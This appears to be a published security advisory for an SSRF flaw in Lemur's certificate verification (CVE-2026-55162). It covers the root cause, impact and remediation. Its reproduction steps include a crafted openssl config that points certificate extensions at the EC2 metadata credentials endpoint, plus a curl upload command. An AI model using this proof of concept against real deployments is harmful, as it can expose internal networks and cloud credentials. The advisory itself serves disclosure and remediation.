PT-2026-52653 · Pypi · Lemur

Published

2026-06-25

·

Updated

2026-06-25

·

CVE-2026-55162

CVSS v3.1

6.3

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Summary

When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.

Root Cause

lemur/certificates/verify.py, crl verify:
python
point = p.full name[0].value             # URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6))   # no allow-list, no destination filter
lemur/certificates/verify.py, ocsp verify:
python
command = ["openssl", "x509", "-noout", "-ocsp uri", "-in", cert path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url,  = p1.communicate()
p2 = subprocess.Popen(
  ["openssl", "ocsp", "-issuer", issuer chain path, "-cert", cert path,
   "-url", url.strip()],              # attacker-controlled URL
  ...
)
In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.

Affected Endpoints

MethodPathSource
POST/api/1/certificates/uploadverify stringcrl verify / ocsp verify
The bug additionally surfaces anywhere verify string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.

Impact

An operator-role attacker can:
  • Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
  • On EC2 instances without IMDSv2 enforcement, cause requests to http://169.254.169.254/ and influence downstream behavior of components that parse the response.
  • Pin attacker-controlled CRLs into the unbounded module-level crl cache dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL. The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.

Remediation

Filter the URL before it reaches the network sink. Either:
  1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., LEMUR TRUSTED CRL HOSTS and LEMUR TRUSTED OCSP HOSTS) and reject anything outside the list, or
  2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding. For OCSP, route the parsed URL through the same wrapper before passing it as -url to openssl ocsp.
Additionally, bound crl cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.

Steps to Reproduce

  1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user eve.
  2. Generate a self-signed certificate whose extensions point at internal services:
cat > openssl.cnf <<EOF
[req]
distinguished name = req distinguished name
req extensions = v3 ca
prompt = no

[req distinguished name]
CN = ssrf-poc.example

[v3 ca]
crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/
authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/
EOF

openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt 
  -days 365 -nodes -config openssl.cnf -extensions v3 ca
  1. On the Lemur host, start a packet capture filter for the target address before submitting the cert:
sudo tcpdump -nni any host 169.254.169.254
  1. As eve, upload the malicious certificate:
BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/
/
/g')
curl -X POST https://lemur.local/api/1/certificates/upload 
  -H "Authorization: Bearer <eve jwt>" 
  -H "Content-Type: application/json" 
  -d "{
     "name": "ssrf-poc",
     "body": "$BODY",
     "chain": "",
     "private key": "",
     "owner": "eve@example.com"
    }"
  1. Observe the outbound request to 169.254.169.254 in the tcpdump output. The request originates from the Lemur process during verify string processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.

Fix

SSRF

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-55162
GHSA-54VG-PFH7-JQ95

Affected Products

Lemur